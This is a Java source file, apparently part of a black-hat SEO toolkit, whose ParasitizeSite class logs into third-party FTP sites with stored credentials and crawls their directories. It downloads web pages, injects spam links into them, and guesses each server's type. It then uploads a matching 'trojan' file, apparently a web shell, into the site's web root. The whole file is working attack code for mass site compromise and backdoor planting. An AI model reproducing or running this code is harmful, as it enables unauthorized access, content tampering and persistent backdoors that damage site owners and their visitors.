package jude.java.money.black;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.SocketTimeoutException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;

import jude.java.money.beans.FtpSite;
import jude.java.money.heiliang.trojan.Trojan;
import jude.java.money.service.L;
import jude.java.money.spring.Services;
import jude.java.money.task.TaskContext;
import jude.java.util.I;
import jude.java.util.Log;

import org.apache.commons.lang.StringUtils;
import org.apache.commons.net.ftp.FTPClient;
import org.apache.commons.net.ftp.FTPFile;

public class ParasitizeSite {

	private static final int TIMEOUT = 60000;	//30s
	private static final int RETRY = 5;
	private static final int READONLY = 5;
//	private static final String IGNORE_DIRS = "images?|css|js|scripts?|logs?|logfiles?|db|database";
	
	private FtpSite site;
	private String group;
	
	private FTPClient ftp;
	private List<FileList> files;
//	private String rootPath;
	private String pwd;
	private int fileCount;
	private String links;
	
	private String serverType;
	private String webPath;
	private HashMap<String, Integer> guess;
	private static final int GUESS_COUNT = 5;
	
	private int retry;
	private boolean abandoned;
	private int readonly;
//	private TaskDetails details;
	
	public ParasitizeSite(FtpSite site, String group) {
		this.site = site;
		this.group = group;
		TaskContext.setDesc(site.getHost());
	}
	
//	public void setDetails(TaskDetails details) {
//		details.setDetail(site.getHost());
//		this.details = details;
//	}
	
	public void parasitize() {
		L.n(site.getHost(), site.toUrl() + " ++++++++++++++++++++++++");
		TaskContext.signal(1, site.getHost());
		site.tryLogin(false);
		site.tryUpdate();
		try {
			ftp = getFtp();
			TaskContext.signal(2);
			if (!ftp.login(site.getUsr(), site.getPwd())) {
				L.fail(site.getHost(), "login");
				site.setRemark("can not login");
				Services.getHeiService().update(site);
				I.fail();
				return;
			}
			site.onLogined();
			TaskContext.signal(3);
			if (!updatePWD()) {
				L.fail(site.getHost(), "pwd");
				I.fail();
				return;
			}
//			rootPath = pwd;
			files = new ArrayList<FileList>();
			FTPFile[] fs = ftp.listFiles();
			links = BlackLink.getHeiContent(group, -1);
			TaskContext.signal(4);
			handler(pwd, fs);
			TaskContext.signal(5);
			next();
			site.onUpdated();
			site.setGroup(group);
			TaskContext.signal(6);
			addTrojan();
			ftp.disconnect();
			L.success(site.getHost(), "------------------------");
			this.ftp.disconnect();
			this.ftp = null;
			TaskContext.signal(17);
			site.setError(null);
			I.success();
		} catch (Throwable e) {
			site.setError(e.getClass().getName() + ":" + e.getMessage());
			L.e(e);
			TaskContext.signal(18);
			I.error();
		}
		if (fileCount > 0)
			site.setFileCount(fileCount);
		if (isReadonly()) {
//			site.setIgnored(true);
			site.setRemark("maybe readonly");
		}
		Services.getHeiService().update(site);
		TaskContext.signal(19);
	}
	
	private boolean reconnect() {
		if (retry >= RETRY)
			return false;
		try {
			TaskContext.signal(14);
			ftp = getFtp();
			TaskContext.signal(15);
			return ftp.login(site.getUsr(), site.getPwd());
		} catch (Throwable e) {
			return false;
		} finally {
			retry ++;
		}
	}
	
	protected FTPClient getFtp() throws IOException {
		FTPClient ftp = new FTPClient();
		ftp.setConnectTimeout(TIMEOUT);
		ftp.setDataTimeout(TIMEOUT);
		ftp.setDefaultTimeout(TIMEOUT);
		ftp.connect(site.getHost(), site.getPort());
		ftp.setSoTimeout(TIMEOUT);
		ftp.setDataTimeout(TIMEOUT);
		return ftp;
	}
	
	public void abandon() {
		try {
			retry = RETRY;
			abandoned = true;
//			ftp.abort();
			ftp.disconnect();
		} catch (Exception e) {
//			e.printStackTrace();
		}
		TaskContext.signal(0);
	}
	
	private void next() {
		while (!abandoned && !this.files.isEmpty() && fileCount < 100) {
			TaskContext.signal(16);
			FileList f = files.remove(0);
			String path = f.path;
			List<FTPFile> fs = f.files;
			if (fs == null || fs.isEmpty()) {
				continue;
			}
			int last = -1;
			for (int i=0, j=fs.size(); i<j && !abandoned; i++) {
				FTPFile file = fs.get(i);
				try {
					path = f.path + file.getName() + "/";
					TaskContext.signal(7);
					if (ftp.changeWorkingDirectory(path)) {
						TaskContext.signal(8);
						if (checkPWD(path)) {
							FTPFile[] files = ftp.listFiles();
							TaskContext.signal(9, path);
							handler(path, files);
							if (isReadonly())
								break;
						}
					}
//				} catch (FTPConnectionClosedException e) {
//					if (!reconnect())
//						throw new RuntimeException(e);
//				} catch (SocketException e) {
//					if (!reconnect())
//						throw new RuntimeException(e);
				} catch (ThreadDeath e) {
					return;
				} catch (Throwable e) {
					if (abandoned)
						return;
					if (!reconnect()) {
//						e.printStackTrace();
						Log.e(e);
						throw new RuntimeException(e);
					}
					if (i != last) {	//retry current
						last = i;
						i --;
					}
					Log.e(e.getClass().getName() + " retry: " + f.path + file.getName());
//					Log.e(e);
				}
			}
		}
	}
	
	private void addTrojan() {
		try {
			if (abandoned || !HeiSetting.TROJAN)
				return;
			if (serverType == null && guess != null) {
				if (guess.size() == 1) {
					serverType = guess.keySet().iterator().next();
					guess = null;
				}
			}
			if (serverType == null  || webPath == null) {
				site.setTrojan(serverType + " + " + webPath);
				return;
			}
			InputStream in = Trojan.getTrojan(serverType);
			if (in == null) {
				site.setTrojan("no trojan for:" + serverType);
				return;
			}
			String trojanPath = webPath + Trojan.getTrojanFileName(serverType);
			TaskContext.signal(10);
			ftp.storeFile(trojanPath, in);
			in.close();
			site.setTrojan(trojanPath);
			I.get("trojan").increase();
		} catch (Throwable e) {
			site.setError("fail:" + webPath + ":" + e.getClass().getName());
		}
	}
	
	private void handler(String path, FTPFile[] files){
		if (StringUtils.countMatches(path, "/") > 10)
			return;
		System.out.println("\t" + path);
		List<FTPFile> fs = new ArrayList<FTPFile>();
		for (int i = 0; i < files.length; i++) {
			FTPFile file = files[i];
			String name = file.getName();
			if (StringUtils.isEmpty(name) || name.charAt(0) == '.')
				continue;
			if (file.isDirectory()) {
				fs.add(file);
			} else if (file.isFile()) {
				if (HeiSetting.TROJAN && serverType == null) {
					judgeServer(path, name);
				}
				if (HeiSetting.shouldHandle(name)) {
					TaskContext.signal(11);
					handlerFile(path, file);
					if (isReadonly()) {
						return;
					}
				}
			}
		}
		if (fs.size() > 0) {
			this.files.add(new FileList(path, fs));
		}
	}
	
	private boolean isReadonly() {
		return readonly > READONLY;
	}
	
	private void judgeServer(String path, String name) {
		String type = HeiSetting.getServerType(name);
		if (type != null) {
			if (guess == null)
				guess = new HashMap<String, Integer>();
			Integer v = guess.get(type);
			int count = (v == null ? 1 : v + 1);
			if (count >= GUESS_COUNT) {
				this.serverType = type;
				guess = null;
			} else {
				guess.put(type, count);
			}
			if (webPath == null) {
				webPath = path;
			}
		}
	}
	
	private void handlerFile(String path, FTPFile file) {
		try {
			if (file.getSize() < 64 || file.getSize() > 1024 * 1024) {
				L.n("size of file exceed: " + file.getSize() + " " + path + file.getName());
				return;
			}
			ByteArrayOutputStream out = new ByteArrayOutputStream((int)file.getSize());
			out.reset();
			TaskContext.signal(12);
			boolean b = false;
			try {
				b = ftp.retrieveFile(file.getName(), out);
			} catch (SocketTimeoutException e){
				out.reset();
				b = ftp.retrieveFile(file.getName(), out);	//retry
			}
			if (!b || out.size() != file.getSize()) {
				L.n("fail to retrieve: " + path + file.getName());
				return;
			}
			TaskContext.signal(13);
			byte[] content = out.toByteArray();
			int result = new ParasitizeFile(ftp, file).addLinks(content, links);
			if (result == ParasitizeFile.SUCCESS) {
				fileCount ++;
				L.success(site.getHost(), "++++++++: " + path + file.getName());
				I.get("file").increase();
			} else if (result == ParasitizeFile.EXISTS) {
				fileCount ++;
				L.n(site.getHost(), "````````: " + path + file.getName());
				I.get("exists").increase();
			} else if (result == ParasitizeFile.READONLY) {
				L.n(site.getHost(), "@@@@@@@@: " + path + file.getName());
				readonly ++;
				if (isReadonly()) {
					files.clear();
				}
			} else {
				L.n(site.getHost(), "--------: " + path + file.getName());
			}
		} catch (Exception e) {
			L.e(path + file.getName());
		}
	}

	private boolean updatePWD() {
		try {
			int code = ftp.pwd();
			if (code != 257)
				return false;
			String reply = ftp.getReplyString();
			if (reply == null)
				return false;
			String x1 = reply;

			if (x1.indexOf("\"") >= 0) {
				x1 = reply.substring(reply.indexOf("\"") + 1);
				x1 = x1.substring(0, x1.indexOf("\""));
			}

			if (!x1.endsWith("/")) {
				x1 = x1 + "/";
			}
			this.pwd = x1;
			return true;
		} catch (Exception e) {
			L.e(e);
		}
		return false;
	}
	
	private boolean checkPWD(String path) {
		return updatePWD() && path.equals(pwd);
	}
	
//	private String getRelativePath(String path) {
//		return path.substring(rootPath.length());
//	}
	
	public static class FileList {
		private final String path;
		private final List<FTPFile> files;
		public FileList(String path, List<FTPFile> files) {
			this.path = path;
			this.files = files;
		}
		
		@Override
		public int hashCode() {
			return path == null ? 0 : path.hashCode();
		}
		
		@Override
		public boolean equals(Object obj) {
			return path != null && (obj instanceof FileList) && path.equals(((FileList)obj).path);
		}
	}
	
//	private void signal(int pos) {
//		details.signal(pos);
//	}

}
